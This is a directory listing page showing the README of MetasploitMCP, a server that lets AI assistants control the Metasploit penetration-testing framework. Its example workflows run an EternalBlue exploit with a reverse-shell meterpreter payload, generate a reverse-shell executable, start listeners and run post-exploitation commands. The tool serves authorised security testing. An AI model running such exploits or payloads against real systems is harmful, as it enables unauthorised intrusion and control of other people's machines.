Skip to content
Back to search

MetasploitMCP

MCP Server for Metasploit

Safety scan

A static text scan, not a guarantee. Select the badge to see what was scanned and every finding.

Checked today
Badge for your README
findsafeskills safety rating

Markdown

[![findsafeskills safety rating](/api/listings/gh05tcrew--metasploitmcp/badge.svg)](/listings/gh05tcrew--metasploitmcp)

HTML

<a href="/listings/gh05tcrew--metasploitmcp"><img src="/api/listings/gh05tcrew--metasploitmcp/badge.svg" alt="findsafeskills safety rating" /></a>

Install

i

Install instructions from the README

As written by the repo's author. findsafeskills has not verified these steps.

1. Clone this repository 2. Install dependencies:

   pip install -r requirements.txt

3. Configure environment variables (optional):

   MSF_PASSWORD=yourpassword
   MSF_SERVER=127.0.0.1
   MSF_PORT=55553
   MSF_SSL=false
   PAYLOAD_SAVE_DIR=/path/to/save/payloads  # Optional: Where to save generated payloads

What was scanned

The files the safety scan read, as written by the repository's author and shown as plain text. Lines with a finding are marked.

README.md · README · 321 lines

View this file on GitHub (read at the repository's current version: the scan did not record which commit it read)

  1. # Metasploit MCP Server
  2. A Model Context Protocol (MCP) server for Metasploit Framework integration.
  3. https://github.com/user-attachments/assets/39b19fb5-8397-4ccd-b896-d1797ec185e1
  4. ## Description
  5. This MCP server provides a bridge between large language models like Claude and the Metasploit Framework penetration testing platform. It allows AI assistants to dynamically access and control Metasploit functionality through standardized tools, enabling a natural language interface to complex security testing workflows.
  6. ## Features
  7. ### Module Information
  8. - **list_exploits**: Search and list available Metasploit exploit modules
  9. - **list_payloads**: Search and list available Metasploit payload modules with optional platform and architecture filtering
  10. ### Exploitation Workflow
  11. - **run_exploit**: Configure and execute an exploit against a target with options to run checks first
  12. - **run_auxiliary_module**: Run any Metasploit auxiliary module with custom options
  13. - **run_post_module**: Execute post-exploitation modules against existing sessions
  14. ### Payload Generation
  15. - **generate_payload**: Generate payload files using Metasploit RPC (saves files locally)
  16. ### Session Management
  17. - **list_active_sessions**: Show current Metasploit sessions with detailed information
  18. - **send_session_command**: Run a command in an active shell or Meterpreter session
  19. - **terminate_session**: Forcefully end an active session
  20. ### Handler Management
  21. - **list_listeners**: Show all active handlers and background jobs
  22. - **start_listener**: Create a new multi/handler to receive connections
  23. - **stop_job**: Terminate any running job or handler
  24. ## Prerequisites
  25. - Metasploit Framework installed and msfrpcd running
  26. - Python 3.10 or higher
  27. - Required Python packages (see requirements.txt)
  28. ## Installation
  29. 1. Clone this repository
  30. 2. Install dependencies:
  31. ```
  32. pip install -r requirements.txt
  33. ```
  34. 3. Configure environment variables (optional):
  35. ```
  36. MSF_PASSWORD=yourpassword
  37. MSF_SERVER=127.0.0.1
  38. MSF_PORT=55553
  39. MSF_SSL=false
  40. PAYLOAD_SAVE_DIR=/path/to/save/payloads # Optional: Where to save generated payloads
  41. ```
  42. ## Usage
  43. Start the Metasploit RPC service:
  44. ```bash
  45. msfrpcd -P yourpassword -S -a 127.0.0.1 -p 55553
  46. ```
  47. ### Transport Options
  48. The server supports two transport methods:
  49. - **HTTP/SSE (Server-Sent Events)**: Default mode for interoperability with most MCP clients
  50. - **STDIO (Standard Input/Output)**: Used with Claude Desktop and similar direct pipe connections
  51. You can explicitly select the transport mode using the `--transport` flag:
  52. ```bash
  53. # Run with HTTP/SSE transport (default)
  54. python MetasploitMCP.py --transport http
  55. # Run with STDIO transport
  56. python MetasploitMCP.py --transport stdio
  57. ```
  58. Additional options for HTTP mode:
  59. ```bash
  60. python MetasploitMCP.py --transport http --host 0.0.0.0 --port 8085
  61. ```
  62. ### Claude Desktop Integration
  63. For Claude Desktop integration, configure `claude_desktop_config.json`:
  64. ```json
  65. {
  66. "mcpServers": {
  67. "metasploit": {
  68. "command": "uv",
  69. "args": [
  70. "--directory",
  71. "C:\\path\\to\\MetasploitMCP",
  72. "run",
  73. "MetasploitMCP.py",
  74. "--transport",
  75. "stdio"
  76. ],
  77. "env": {
  78. "MSF_PASSWORD": "yourpassword"
  79. }
  80. }
  81. }
  82. }
  83. ```
  84. ### Other MCP Clients
  85. For other MCP clients that use HTTP/SSE:
  86. 1. Start the server in HTTP mode:
  87. ```bash
  88. python MetasploitMCP.py --transport http --host 0.0.0.0 --port 8085
  89. ```
  90. 2. Configure your MCP client to connect to:
  91. - SSE endpoint: `http://your-server-ip:8085/sse`
  92. ## Security Considerations
  93. ⚠️ **IMPORTANT SECURITY WARNING**:
  94. This tool provides direct access to Metasploit Framework capabilities, which include powerful exploitation features. Use responsibly and only in environments where you have explicit permission to perform security testing.
  95. - Always validate and review all commands before execution
  96. - Only run in segregated test environments or with proper authorization
  97. - Be aware that post-exploitation commands can result in significant system modifications
  98. ## Example Workflows
  99. ### Basic Exploitation
  100. 1. List available exploits: `list_exploits("ms17_010")`
  101. 2. Select and run an exploit: `run_exploit("exploit/windows/smb/ms17_010_eternalblue", {"RHOSTS": "192.168.1.100"}, "windows/x64/meterpreter/reverse_tcp", {"LHOST": "192.168.1.10", "LPORT": 4444})`
  102. 3. List sessions: `list_active_sessions()`
  103. 4. Run commands: `send_session_command(1, "whoami")`
  104. ### Post-Exploitation
  105. 1. Run a post module: `run_post_module("windows/gather/enum_logged_on_users", 1)`
  106. 2. Send custom commands: `send_session_command(1, "sysinfo")`
  107. 3. Terminate when done: `terminate_session(1)`
  108. ### Handler Management
  109. 1. Start a listener: `start_listener("windows/meterpreter/reverse_tcp", "192.168.1.10", 4444)`
  110. 2. List active handlers: `list_listeners()`
  111. 3. Generate a payload: `generate_payload("windows/meterpreter/reverse_tcp", "exe", {"LHOST": "192.168.1.10", "LPORT": 4444})`
  112. 4. Stop a handler: `stop_job(1)`
  113. ## Testing
  114. This project includes comprehensive unit and integration tests to ensure reliability and maintainability.
  115. ### Prerequisites for Testing
  116. Install test dependencies:
  117. ```bash
  118. pip install -r requirements-test.txt
  119. ```
  120. Or use the convenient installer:
  121. ```bash
  122. python run_tests.py --install-deps
  123. # OR
  124. make install-deps
  125. ```
  126. ### Running Tests
  127. #### Quick Commands
  128. ```bash
  129. # Run all tests
  130. python run_tests.py --all
  131. # OR
  132. make test
  133. # Run with coverage report
  134. python run_tests.py --all --coverage
  135. # OR
  136. make coverage
  137. # Run with HTML coverage report
  138. python run_tests.py --all --coverage --html
  139. # OR
  140. make coverage-html
  141. ```
  142. #### Specific Test Suites
  143. ```bash
  144. # Unit tests only
  145. python run_tests.py --unit
  146. # OR
  147. make test-unit
  148. # Integration tests only
  149. python run_tests.py --integration
  150. # OR
  151. make test-integration
  152. # Options parsing tests
  153. python run_tests.py --options
  154. # OR
  155. make test-options
  156. # Helper function tests
  157. python run_tests.py --helpers
  158. # OR
  159. make test-helpers
  160. # MCP tools tests
  161. python run_tests.py --tools
  162. # OR
  163. make test-tools
  164. ```
  165. #### Test Options
  166. ```bash
  167. # Include slow tests
  168. python run_tests.py --all --slow
  169. # Include network tests (requires actual network)
  170. python run_tests.py --all --network
  171. # Verbose output
  172. python run_tests.py --all --verbose
  173. # Quick test (no coverage, fail fast)
  174. make quick-test
  175. # Debug mode (detailed failure info)
  176. make test-debug
  177. ```
  178. ### Test Structure
  179. - **`tests/test_options_parsing.py`**: Unit tests for the graceful options parsing functionality
  180. - **`tests/test_helpers.py`**: Unit tests for internal helper functions and MSF client management
  181. - **`tests/test_tools_integration.py`**: Integration tests for all MCP tools with mocked Metasploit backend
  182. - **`conftest.py`**: Shared test fixtures and configuration
  183. - **`pytest.ini`**: Pytest configuration with coverage settings
  184. ### Test Features
  185. - **Comprehensive Mocking**: All Metasploit dependencies are mocked, so tests run without requiring an actual MSF installation
  186. - **Async Support**: Full async/await testing support using pytest-asyncio
  187. - **Coverage Reporting**: Detailed coverage analysis with HTML reports
  188. - **Parametrized Tests**: Efficient testing of multiple input scenarios
  189. - **Fixture Management**: Reusable test fixtures for common setup scenarios
  190. ### Coverage Reports
  191. After running tests with coverage, reports are available in:
  192. - **Terminal**: Coverage summary displayed after test run
  193. - **HTML**: `htmlcov/index.html` (when using `--html` option)
  194. ### CI/CD Integration
  195. For continuous integration:
  196. ```bash
  197. # CI-friendly test command
  198. make ci-test
  199. # OR
  200. python run_tests.py --all --coverage --verbose
  201. ```
  202. ## Configuration Options
  203. ### Payload Save Directory
  204. By default, payloads generated with `generate_payload` are saved to a `payloads` directory in your home folder (`~/payloads` or `C:\Users\YourUsername\payloads`). You can customize this location by setting the `PAYLOAD_SAVE_DIR` environment variable.
  205. **Setting the environment variable:**
  206. - **Windows (PowerShell)**:
  207. ```powershell
  208. $env:PAYLOAD_SAVE_DIR = "C:\custom\path\to\payloads"
  209. ```
  210. - **Windows (Command Prompt)**:
  211. ```cmd
  212. set PAYLOAD_SAVE_DIR=C:\custom\path\to\payloads
  213. ```
  214. - **Linux/macOS**:
  215. ```bash
  216. export PAYLOAD_SAVE_DIR=/custom/path/to/payloads
  217. ```
  218. - **In Claude Desktop config**:
  219. ```json
  220. "env": {
  221. "MSF_PASSWORD": "yourpassword",
  222. "PAYLOAD_SAVE_DIR": "C:\\your\\actual\\path\\to\\payloads" // Only add if you want to override the default
  223. }
  224. ```
  225. **Note:** If you specify a custom path, make sure it exists or the application has permission to create it. If the path is invalid, payload generation might fail.
  226. ## License
  227. Apache 2.0

Ratings and comments

Sign in to rate this skill.

Sign in

Free to use. If it’s helped, pass it on.